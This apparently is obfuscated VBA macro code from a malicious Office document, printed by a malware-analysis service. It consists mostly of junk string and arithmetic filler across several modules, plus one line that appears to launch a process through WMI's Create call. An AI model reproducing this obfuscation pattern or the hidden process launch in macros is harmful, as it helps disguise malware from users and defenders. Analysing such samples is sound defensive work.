    PeoTVVvjGxy = Space(1) + Left("sC- yqEQ(BY", 3)
    DvMon = UCase("A^ $J v s^q !zl$Gx") + RTrim("DRoMwc ")
    udGUosbSrNd = UCase("]F YfVp _ %-I  V") + RTrim("TtM..  KX K_ K EH")
    KFpJRIAUDbBJ = 34 - 63
    For bHFLUx = 2 To 5
        

        zgusTFeFqpuE = Space(7) + Left("   .$ %", 3)
        Sxmqsnhwk = 53 + 0 + 87
        WXVVLLxE = UCase("zt $xeStIiCZ ") + RTrim("  j!s ]is")
    Next bHFLUx

    pYeuowqNnF = 66 - 37 - 59 - 76 - 86 - 6
    DvMon = 41 - 24 - 35
    KufNv = Left(")d^k ( aL ", 2) + LTrim("DzXP_R XPGqzvSSvtf(")
    LfYYkYB = Space(11) + Left("aROxlF BRI!@  -sqE", 5)
    KufNv = 93 + 58 + 70 + 33 + 81
    

    exupm = Space(12) + Left("v]  uM W B jH k", 4)
    VOTWxKXMmhs = 79 + 90 + 37
    For nFeZuN = 2 To 5
        For RHaDHH = 2 To 6
            udGUosbSrNd = 5 - 20 - 78
            udGUosbSrNd = 73 - 99 - 21
            PeoTVVvjGxy = 93 - 26 - 64
        Next RHaDHH

        

        PMtNzIKk = Left("r-ucP ^  sjtvFRB ", 2) + LTrim("j%o WBf&UO  Q q")
        jurOLxXPbAa = 85 + 40 + 38 + 28 + 21 + 80
    Next nFeZuN

    xUIwvrEGnR = LTrim("V R zSQ@RlW")
    xbCaA = UCase("%(  B.ZGpGa Q@DPKQo") + RTrim("& cyYRz oyQc?e?hcO")
    For vpWWSu = 2 To 3
        While hcdVLF < 1
            TMdymj = 96 + 63 + 49
            PeoTVVvjGxy = LTrim("J M L P[ c")
            WXVVLLxE = RTrim(" % Njyi[!") + UCase("Z FlD#")
            hcdVLF = hcdVLF + 2
        Wend

        xbCaA = RTrim("?Wa m ") + StrReverse("ZDc ^  V   -RLDfGq")
        EyEXSbnNLmF = LTrim("HWa F^]Ie$j_ T")
        

        NvtKjDwztx = RTrim(" cM(A GnxS^KM )") + UCase("EDazQk[T  X#( ")
        lkcFKk = LTrim("! Q    W X @")
    Next vpWWSu

    WXVVLLxE = Right("ytMMb OTCv  ta@?rv(-", 2)
    For QSiSqY = 2 To 5
        

        xbCaA = LTrim("qKk?Mw  -^")
        zgusTFeFqpuE = Right("u cp q q F RLnH Aa ", 2)
        xbCaA = RTrim("( cLqgdlpwz_ FRI U") + StrReverse("  P(U   ")
    Next QSiSqY

    xUIwvrEGnR = Left("U[ItD)-HYw)VYGOb", 4) + LTrim("s[  YCt Vj")
    

    

    WXVVLLxE = LTrim("X Key # a!O")
    udGUosbSrNd = LTrim("l^U.RY[-)K?#ufh")
    bjptIjaUVhE = Space(5) + Left("XghM  q NS  ! ", 5)
    zgusTFeFqpuE = RTrim("%IM^w S ") + StrReverse(" a. ut")
    WBdHQ = Left(" ggq   ", 2) + LTrim("qqD_e)vY . ) o C JqB")
    

    

    jlWCLcyyClIu = Left("  v  Y U g _GycB #e", 4) + LTrim("Qq  xdY")
    bjptIjaUVhE = 75 - 0 - 69
    KFpJRIAUDbBJ = RTrim("Dvg $ko") + UCase("OO tsg)")
    Else
    

    TMdymj = Left("E]SQ$yQ IFe  ?!MA oJ", 2) + LTrim("  TrH d")
    For MRVfNZ = 2 To 5
        For NWmATw = 2 To 10
            exupm = 72 - 15 - 28 - 37
            NvtKjDwztx = Space(5) + Left("TAV bl udLGFDH! s", 4)
            VOTWxKXMmhs = 48 - 27 - 73 - 44
            NvtKjDwztx = RTrim("S Eq  Y#b#V   I?") + StrReverse(" qy# [v  T(oMV-(Is")
        Next NWmATw

        LfYYkYB = LTrim(")x Yka$S(%Y K R)YD^")
        hhpMLQ = Right("s% t )   vvEMI tR k-", 2)
        KufNv = LTrim("P!XEsCv%xTzeRAg_")
    Next MRVfNZ

    vABbgMVXFUGw = 20 - 80 - 25
    For UgHIRn = 2 To 10
        

        nXWaUYgzzB = RTrim(" A! luw") + StrReverse("PpsAQ P#nati (#")
        sUZwoa = Left("Y SB ltA!@swT", 3) + LTrim("]MWp  Ma_aF ")
        

        

    Next UgHIRn

    

    udhQlsWKbS = LTrim(" w_ T")
    While Rvmsiq < 1
        TMdymj = LTrim("cl  PQ A& KJR")
        vABbgMVXFUGw = 13 - 49 - 19 - 5
        PMtNzIKk = 68 + 17 + 17 + 26 + 10 + 53
        kziaOP = LTrim(" J Mz -fPS NC")
        DvMon = 32 + 44 + 24 + 31
        Rvmsiq = Rvmsiq + 3
    Wend

    For XqUHRd = 2 To 8
        

        IKHxIgd = RTrim("( [N VLBQ(O]") + StrReverse("A u XxW(M M")
        VOTWxKXMmhs = Space(3) + Left("y BrR pm$", 3)
    Next XqUHRd

    LfYYkYB = 78 + 96 + 15 + 42
    lzzvxcXQ.Create Dsqpgs, Null, aJrjaDTP, pWhucYs
    For XVwUyf = 2 To 4
        While qJZOQE < 3
            sUZwoa = Left(" #qV ObH", 3) + LTrim(" (?YioBsu% v#FP")
            KrBsSM = RTrim("    pAg.&bFgBA N") + UCase("  WH^z ")
            JKHRo = 24 - 33 - 14 - 3
            

            JKHRo = LTrim("g PnrG OMDRfTEm")
            qJZOQE = qJZOQE + 3
        Wend

        xbCaA = 68 + 44 + 53 + 9
        udGUosbSrNd = RTrim(" i   x G ! J)") + StrReverse("mf[ n%Ze")
        pYeuowqNnF = Left("f@t  IEnwGIJI", 4) + LTrim("Uz Hn ExXE  VsOWGM ")
        xUIwvrEGnR = Left("UlsK- DP ", 5) + LTrim("Mid(n%e-!j%V   Em")
    Next XVwUyf

    Sxmqsnhwk = RTrim("m cbDAKJ?M") + UCase("   Ip jp ")
    While ZAogEu < 3
        For hTjlfZ = 2 To 7
            pYeuowqNnF = RTrim("a zDbKf( _e") + StrReverse("IbV AE")
            

            PeoTVVvjGxy = Space(5) + Left("  -FC yp o zEeuPU H", 4)
        Next hTjlfZ

        XcjtLMMobcn = 15 + 27 + 56
        nXWaUYgzzB = LTrim("pbT_z   JWYWN_ $) ")
        udhQlsWKbS = 18 + 19 + 16 + 92 + 18
        ZAogEu = ZAogEu + 2
    Wend

    EyEXSbnNLmF = UCase("xO TKB[  Pq HBpr?F") + RTrim("a%M )(^")
    While nfRqqv < 1
        jurOLxXPbAa = LTrim("cmVE .LxKy b n .% F")
        

        xbCaA = LTrim("ia@ ?ohf  ThL$   o")
        kziaOP = LTrim(" AHnSMTh ")
        nfRqqv = nfRqqv + 3
    Wend

    QDhnJI = UCase(" jkk[d CNr  $K") + RTrim(" A$Lc  I M")
    KFpJRIAUDbBJ = RTrim("hm]np]chbu ") + StrReverse("ip El")
    WXVVLLxE = Right("MO$!e Hg$ feQ(jK w@ ", 2)
    While kkOGuW < 4
        While rPUJpt < 4
            BPuExI = 30 - 82 - 20 - 26 - 85
            xbCaA = UCase(" cS# nT @   iz %FdV") + RTrim("YU%f_wKNS y? RP")
            xUIwvrEGnR = 100 + 90 + 51 + 82 + 9 + 10
            rPUJpt = rPUJpt + 3
        Wend

        PyVPPH = RTrim("n rQ Q") + StrReverse("!  fzYZX K C_ M gMCV")
        JKHRo = Space(6) + Left("hTCNZ.!GG", 4)
        PMtNzIKk = RTrim("m  EsCvd   Igu$r ") + StrReverse("#  ^ K.# xlf")
        kkOGuW = kkOGuW + 2
    Wend

    GFViihIA = LTrim("jW   ? .%y HyS$ B Nv")
    

    udhQlsWKbS = LTrim("sChEeE y. N) ]")
    IKHxIgd = 81 + 47 + 64 + 42 + 64
    While yzQzSv < 2
        For geZSpN = 2 To 8
            vABbgMVXFUGw = UCase("KS_kBb@Ht?WR .n q") + RTrim("w( )&r @Q [ t")
            LfYYkYB = Left(" [PgEk&qx n& h(rkv I", 5) + LTrim("bz w BaDlY !nTo%J P")
            KufNv = 47 + 15 + 35 + 85 + 12 + 44
            

        Next geZSpN

        vmBBY = Left("dvg ( u   or B", 4) + LTrim("ee G  ]Z!I  !")
        PyVPPH = Left("@ u G Q@ mQ K@hn ", 3) + LTrim("WFeZwPoP C N t F K")
        VUAAwBOrb = Space(13) + Left("zxR?Unm", 2)
        PyVPPH = Right(" jqcSAK&-)GE o", 4)
        yzQzSv = yzQzSv + 2
    Wend

    QDhnJI = Left("ds qd Ug qKR", 5) + LTrim("  Fn OOt_VxS_ ZG  ")
    JKHRo = Left("JVP![sFu", 5) + LTrim("J C   H h PS")
    For sKHxUw = 2 To 6
        

        nXWaUYgzzB = Right("F#JCq-b& EJo ] ir", 4)
        bjptIjaUVhE = UCase("  ]T X  s. Pu") + RTrim("G& L?")
    Next sKHxUw

    End If
    VOTWxKXMmhs = 83 - 11
    DvMon = 15 + 50
    BPuExI = RTrim(" Ekn!vTP Uc  @ ") + StrReverse("@K nbmVEZZ Xn s nt ")
    udhQlsWKbS = UCase("AHqA  q .@C %wT") + RTrim("HVFRsvMM  JOJlE##")
    While KKMeOa < 1
        While uaAGIk < 3
            

            JKHRo = Left("d)t zs", 4) + LTrim("    M")
            xdafpyx = 56 + 32 + 19 + 92
            CHoiRUQKV = Space(6) + Left("B#W  A", 4)
            uaAGIk = uaAGIk + 2
        Wend

        hhpMLQ = LTrim(" L (sQKMM")
        IKHxIgd = 91 + 62 + 29 + 12 + 87 + 60
        KFpJRIAUDbBJ = Space(20) + Left("k^YhC DN[g ", 2)
        KKMeOa = KKMeOa + 2
    Wend

    DvMon = UCase("dH E yn%fezBCDPZJn  ") + RTrim(" j&PLTS&T Bygs e[[")
    udGUosbSrNd = Right(" [vZw Rv -f", 2)
    While kAKZPC < 5
        PeoTVVvjGxy = Space(4) + Left(" L  [_ul?wn ", 2)
        jlWCLcyyClIu = UCase("@ e LIK% ?d-") + RTrim("W MIV  x!lfx#")
        xdafpyx = Right("]   Y@N  L jm #%xf", 4)
        kAKZPC = kAKZPC + 2
    Wend

    While rXQSvH < 2
        exupm = UCase("HQL bA gY Cc") + RTrim(")[A m KGm")
        PeoTVVvjGxy = 13 + 31 + 45 + 71 + 9 + 9
        NvtKjDwztx = 66 + 78 + 63 + 83 + 86
        pYeuowqNnF = LTrim("Y&-aj  UB#q")
        VOTWxKXMmhs = 47 - 31
        rXQSvH = rXQSvH + 3
    Wend

    sUZwoa = 26 + 58 + 87 + 77
    vmBBY = Space(14) + Left("%]#!WrSiM G", 5)
    DvMon = Space(11) + Left("S(vk f", 2)
    exupm = Right("E(A.Mmc", 5)
    pYeuowqNnF = 46 + 51 + 71 + 26 + 73 + 55
    While bMuJTi < 4
        For RIdoAW = 2 To 7
            GFViihIA = 18 - 17
            

            KFpJRIAUDbBJ = Left("#^oEx jDELX fYyV -EB", 5) + LTrim(" ?md-vBiRyt^ ")
            JKHRo = Right("vca  i^ $cM  L).yGh", 5)
        Next RIdoAW

        BPuExI = Left("? b _g A", 4) + LTrim("T S Yx raixm%  ew ")
        xUIwvrEGnR = 46 + 31 + 35 + 8 + 54 + 17
        udGUosbSrNd = 36 - 13 - 9
        udGUosbSrNd = RTrim("BKB^f-W ") + StrReverse("!#FBRV e h   HeNsX")
        Sxmqsnhwk = RTrim("dB DqgVy%pF  (V ") + UCase("Xxy dm")
        bMuJTi = bMuJTi + 2
    Wend

    bjptIjaUVhE = 60 + 20 + 11 + 88 + 72 + 38
    KufNv = Left(". C&!Q%", 4) + LTrim("TT  vaQ_ ]%H")
    While RAzdBx < 2
        While bWUcfj < 4
            nXWaUYgzzB = UCase(" .& pa&f$I- edta") + RTrim(" J  %-  sZ zT@Su")
            xbCaA = LTrim("  . V")
            hhpMLQ = LTrim(" IMo  #PV  fI(fw")
            xdafpyx = RTrim("Joo?MacFRo") + UCase("x K g")
            bWUcfj = bWUcfj + 1
        Wend

        hdqBW = LTrim("^)wF  a.o")
        vmBBY = Space(2) + Left(" hh]P?vb)l", 2)
        fzSNJKSRPRm = 33 - 30 - 63
        

        Sxmqsnhwk = LTrim("O k _-&] EC^ !E   z")
        RAzdBx = RAzdBx + 2
    Wend

    vABbgMVXFUGw = 56 - 43 - 1
    While MTEFVW < 4
        fzSNJKSRPRm = 9 - 75 - 89 - 7 - 36 - 25
        

        CHoiRUQKV = UCase(" HUbhTf") + RTrim("Pa) ^J%x %u oPKvkcl")
        MTEFVW = MTEFVW + 3
    Wend



End Sub



Sub hsgjcc(trnbQqk As Integer, dWUpCOY As Double, EkHwqV As String, gNWBpl As Double)
    nXWaUYgzzB = Left("o]@ [bDjeMd", 3) + LTrim("du E_R f J! ")
    JKHRo = 58 - 9
    VOTWxKXMmhs = Space(13) + Left("lK WueNQT?J@ n^", 2)
End Sub



Attribute VB_Name = "Module4"

Sub sGopji(QPLBJkk As Boolean, syCBJzM As Double, OUrVeW As String, ohKPjM As Integer)
    PeoTVVvjGxy = RTrim("#HwR  F Ku W]uk  h?") + UCase("  z   H")
    KufNv = UCase("p]DT! yx  GeY") + RTrim("IpoN  ^%kOB")
    KFpJRIAUDbBJ = RTrim("Q    ^QO") + StrReverse("x$(xo ")
    fzSNJKSRPRm = RTrim(" [^q $ cJPZaK^ ") + StrReverse(" A uP$?--&")
End Sub



Sub KPOneO(DwTSjSJ As Integer, KCdYOe As String, vpnMSSx As Double, BiBRkCb As Integer, eVBdmFK As Boolean)
    

    LfYYkYB = RTrim("   tuxJ) ") + UCase("mp $n[%Gto%$@$")
    KFpJRIAUDbBJ = LTrim("QVCg]Ml ")
    VUAAwBOrb = LTrim(") _#vSFFxp. Fum?Z F ")
End Sub



Sub TMzzHk(eFGImjT As Double, zMeOceb As Boolean, JKQyWBg As String, zKsfBuS As Integer)
    TMdymj = UCase("U]   q") + RTrim("  % s l.Xwtcdgi (U@[")
    PeoTVVvjGxy = 37 + 67 + 90 + 33
End Sub



Attribute VB_Name = "Module5"

Sub Znihbj(GYBJiUw As String, CWaGgZ As Integer)
    CHoiRUQKV = 4 - 2 - 61 - 85 - 80 - 93
    WBdHQ = 25 + 34 + 21 + 43 + 99 + 70
End Sub



Sub goFexk(HkEPcHP As Double, RfiQpBf As Integer, ylTsgnk As Boolean)
    jurOLxXPbAa = Left(" T N Fx VEE@%", 4) + LTrim("V  cCzjwMShn% ")
    udGUosbSrNd = RTrim("gp [  _w iPL&V OU  ") + StrReverse("Wqw_uGx k")
End Sub



Attribute VB_Name = "Module6"

Sub ICQqNi(nxniZpU As Boolean)
    DKmoYpGKaFNA = 53 - 20
    

    udGUosbSrNd = RTrim("n! q ") + UCase("[  D( bjjM  $ )PkJ")
    KufNv = 57 + 12 + 15 + 4 + 87
End Sub



Function jCNSwk(ubsUAw As Double, xBvqaw As Boolean, pwHeNs As Double, dHaUFE As String) As String
    pYeuowqNnF = LTrim("$WE -& oT rp@A d")
    kwYhHQOciR = 77 - 69 - 37 - 50 - 40
    WXVVLLxE = LTrim("! w #P nW ?GEu GE")
    jCNSwk = "ARo"
End Function



Attribute VB_Name = "Module7"

Function panXdY(dGdsEtR As Double, GejchU As String, vefeTQo As Boolean) As String
    LfYYkYB = Space(18) + Left(" !-f%-i)c)", 4)
    jlWCLcyyClIu = RTrim(" g )va u P$zuB") + UCase(" @Q  lC(  a")
    WXVVLLxE = LTrim(" zQSAwRL D")
    panXdY = "uDc"
End Function



Function DMPukA(MLQUPC As Double, QQgIDy As Boolean, aHLoZA As String) As String
    While QJAMFV < 5
        While lLFjNw < 4
            bjptIjaUVhE = UCase("T PSuEc@)dI  z# !j- ") + RTrim("IxG BGn  V")
            WXVVLLxE = Right("oys@VNOQ RP  )N _", 4)
            exupm = 38 - 77 - 9
            

            pYeuowqNnF = 25 + 7 + 22
            lLFjNw = lLFjNw + 1
        Wend

        

        xbCaA = LTrim("& udw$E.(")
        hhpMLQ = RTrim("  nOiQ JSV !  oW &n") + StrReverse("v- qc")
        QDhnJI = 49 - 35 - 66 - 24 - 83
        NvtKjDwztx = RTrim("    -&FziG Hp") + UCase("KNBiij [T _ z  TFp)T")
        QJAMFV = QJAMFV + 3
    Wend

    PMtNzIKk = UCase("&b[ x_") + RTrim("Qx[Y$Ag HJINy")
    IKHxIgd = LTrim("V)@!w)Jr) VC&yOI")
    fzSNJKSRPRm = Space(5) + Left("XZXbVu", 5)
    KFpJRIAUDbBJ = 22 - 51 - 78 - 43 - 48 - 24
    DMPukA = "sSqrl"
End Function



Function RvHhob(iObzLRJ As Double) As String
    oZtgRMv = 99 - 65 - 76 - 67
    xbCaA = 11 + 69 + 98
    QDhnJI = Left("xS!& a#G ^", 3) + LTrim("OB  reoZ@ WO jf")
    

…

Open this report in the interactive analyzer, or submit your own file for analysis.